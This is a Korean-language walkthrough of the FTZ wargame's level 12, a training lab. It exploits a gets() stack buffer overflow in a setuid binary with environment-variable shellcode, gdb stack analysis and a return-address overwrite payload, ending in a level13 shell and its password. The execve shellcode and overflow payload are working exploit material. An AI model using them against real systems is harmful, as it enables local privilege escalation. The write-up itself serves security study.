[FTZ] level12 ํ’€์ด

1 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ level12 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level12/it is like this

hint

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( void )
{
        char str[256];

        setreuid( 3093, 3093 );
        printf( "๋ฌธ์žฅ์„ ์ž…๋ ฅํ•˜์„ธ์š”.\n" );
        gets( str );
        printf( "%s\n", str );
}

ํ’€์ด

11๋ฒˆ๊ณผ ๋™์ผํ•˜๊ฒŒ bof ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ SHELLCODE ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ”์ค๋‹ˆ๋‹ค.

์‰˜ ์ฝ”๋“œ๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ๋‹ด์•„ ์ค๋‹ˆ๋‹ค. ์‰˜ ์ฝ”๋“œ ์œ„์น˜๊ฐ€ ๋ช‡ ๋ฐ”์ดํŠธ์”ฉ ์˜ค์ฐจ๊ฐ€ ์ƒ๊ธฐ๊ธฐ ๋•Œ๋ฌธ์— ๋งจ ์•ž์— nop ๋ฌธ์ž๋ฅผ ๋‹ด์•„์„œ ์˜ค๋ฅ˜๋ฅผ ์ตœ์†Œํ™” ํ•ด์ค๋‹ˆ๋‹ค.

[level12@ftz level12]$ export SHELLCODE=$(python -c 'print("\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')

ํ™˜๊ฒฝ ๋ณ€์ˆ˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด์ค๋‹ˆ๋‹ค.

env.c

int main(){
  printf("%p\n",getenv("SHELLCODE"));
}

์ปดํŒŒ์ผ ํ›„ ์‹คํ–‰ํ•˜์—ฌ SHELLCODE ํ™˜๊ฒฝ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ฉ๋‹ˆ๋‹ค.

[level12@ftz tmp]$ gcc -o env env.c
[level12@ftz tmp]$ ./env
0xbffffc0f

ํ™˜๊ฒฝ ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๋Š” 0xbffffc0f์ž…๋‹ˆ๋‹ค.

์ด์ œ bof ์ทจ์•ฝ์ ์„ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด์„œ gdb๋กœ ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค.

[level12@ftz level12]$ gdb -q attackme
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108    //str[256]ํ• ๋‹น
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc15
0x08048481 <main+17>:   push   0xc15
0x08048486 <main+22>:   call   0x804835c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0xc
0x08048491 <main+33>:   push   0x8048538
0x08048496 <main+38>:   call   0x804834c <printf>
0x0804849b <main+43>:   add    esp,0x10
0x0804849e <main+46>:   sub    esp,0xc
0x080484a1 <main+49>:   lea    eax,[ebp-264]
0x080484a7 <main+55>:   push   eax
0x080484a8 <main+56>:   call   0x804831c <gets>
0x080484ad <main+61>:   add    esp,0x10
0x080484b0 <main+64>:   sub    esp,0x8
0x080484b3 <main+67>:   lea    eax,[ebp-264]
0x080484b9 <main+73>:   push   eax
0x080484ba <main+74>:   push   0x804854c
0x080484bf <main+79>:   call   0x804834c <printf>
0x080484c4 <main+84>:   add    esp,0x10
0x080484c7 <main+87>:   leave
0x080484c8 <main+88>:   ret
0x080484c9 <main+89>:   lea    esi,[esi]
0x080484cc <main+92>:   nop
0x080484cd <main+93>:   nop
0x080484ce <main+94>:   nop
0x080484cf <main+95>:   nop
End of assembler dump.

gdb ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋‹ˆ ์Šคํƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

ret (4)
ebp (4)
dummy (8)
str (256)

๋”ฐ๋ผ์„œ str์— 268๋ฐ”์ดํŠธ ๋งŒํผ ๋ฎ์–ด์“ด ๋’ค ๋งˆ์ง€๋ง‰ 4๋ฐ”์ดํŠธ์— ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์ฃผ์†Œ๋กœ ret ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด ์จ ์ค๋‹ˆ๋‹ค.

[level12@ftz level12]$ (python -c 'print("A"*268+"\x0f\xfc\xff\xbf")';cat) | ./attackme
๋ฌธ์žฅ์„ ์ž…๋ ฅํ•˜์„ธ์š”.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??

id
uid=3093(level13) gid=3092(level12) groups=3092(level12)

my-pass

Level13 Password is "have no clue".

์‰˜์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ